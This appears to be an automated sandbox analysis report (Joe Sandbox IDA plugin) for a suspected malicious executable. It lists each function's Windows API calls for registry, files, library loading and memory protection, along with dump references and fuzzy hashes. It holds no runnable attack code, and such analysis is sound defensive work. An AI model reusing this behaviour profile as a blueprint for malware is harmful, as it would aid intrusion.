Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nswC272.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nswC272.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\xXUnP7uCBJ.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 701A2AAC Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 701A2B6B

Memory Dump Source

Source File: 00000000.00000002.2259069122.00000000701A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701A0000, based on PE: true

Associated: 00000000.00000002.2259033794.00000000701A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259096559.00000000701A4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259132821.00000000701A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701a0000_xXUnP7uCBJ.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 10429e51e7ce8f5adb28ad5d582ac4370b88e0366462c667686e6bd84a5b1c12
Instruction ID: 5db5698cc6401cbc1c21fed4c14aff07d1a199704e35ddd2a5e48c04d6da0846
Opcode Fuzzy Hash: 10429e51e7ce8f5adb28ad5d582ac4370b88e0366462c667686e6bd84a5b1c12
Instruction Fuzzy Hash: F44182FA404204EFDB21DF69DE52B5E3775EB14368F3084AAF505E7D60D638A8808BA1

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040E629,0040CED0,004033DE,0040CED0,0040E629,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 701A2993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(701A505C,00000004,00000040,701A504C), ref: 701A29B1

Memory Dump Source

Source File: 00000000.00000002.2259069122.00000000701A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701A0000, based on PE: true

Associated: 00000000.00000002.2259033794.00000000701A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259096559.00000000701A4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259132821.00000000701A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701a0000_xXUnP7uCBJ.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: dfb957271779552f7b9be968a3deaf4f9459743ec3beaa42ce04f248be0decaf
Instruction ID: f2b4e49ca954e7865ad52b9ff6a7a5204afd8bf5cb57d7c0c823798611a4e56f
Opcode Fuzzy Hash: dfb957271779552f7b9be968a3deaf4f9459743ec3beaa42ce04f248be0decaf
Instruction Fuzzy Hash: 80F0A5F2548380EEC350CF3A8E6470A3FF0B708308B35856AF188D6A62E3744444DB91

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
